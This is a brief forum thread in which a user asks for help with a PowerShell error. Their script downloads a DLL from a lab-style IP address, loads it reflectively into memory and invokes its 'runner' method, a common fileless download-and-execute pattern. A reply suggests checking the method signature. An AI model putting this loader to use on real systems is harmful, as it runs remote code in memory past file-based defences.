Forum Discussion
Ace_92
Aug 27, 2021Copper Contributor
Powershell Execute a specific method from an assembly
Hello,
I'm trying to execute this script.ps1
in my vm of Windows 10
This variables gives me problems :
$method= $class.GetMethod("runner")
$method.Invoke(0, $null)
It cannot call method value of null
invalid operation
runtime exception
This is the code:
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')$assem = [System.Reflection.Assembly]::Load($data)$class = $assem.GetType("ClassLibrary1.Class1")$method = $class.GetMethod("runner")$method.Invoke(0, $null)
What can i do?
Thanks
- It seems that the DLL that’s being downloaded doesn’t support a method call with the $null parameter. It’s unclear to me what this DLL is and how the method is defined. But that would be the first thing to check.
The runner method of ClassLibrary1.Class1 in lib.dll.
2 Replies
Sort By
- It seems that the DLL that’s being downloaded doesn’t support a method call with the $null parameter. It’s unclear to me what this DLL is and how the method is defined. But that would be the first thing to check.
The runner method of ClassLibrary1.Class1 in lib.dll.- Ace_92Copper ContributorHey thanks for this
I will check it out
Cheers 🙂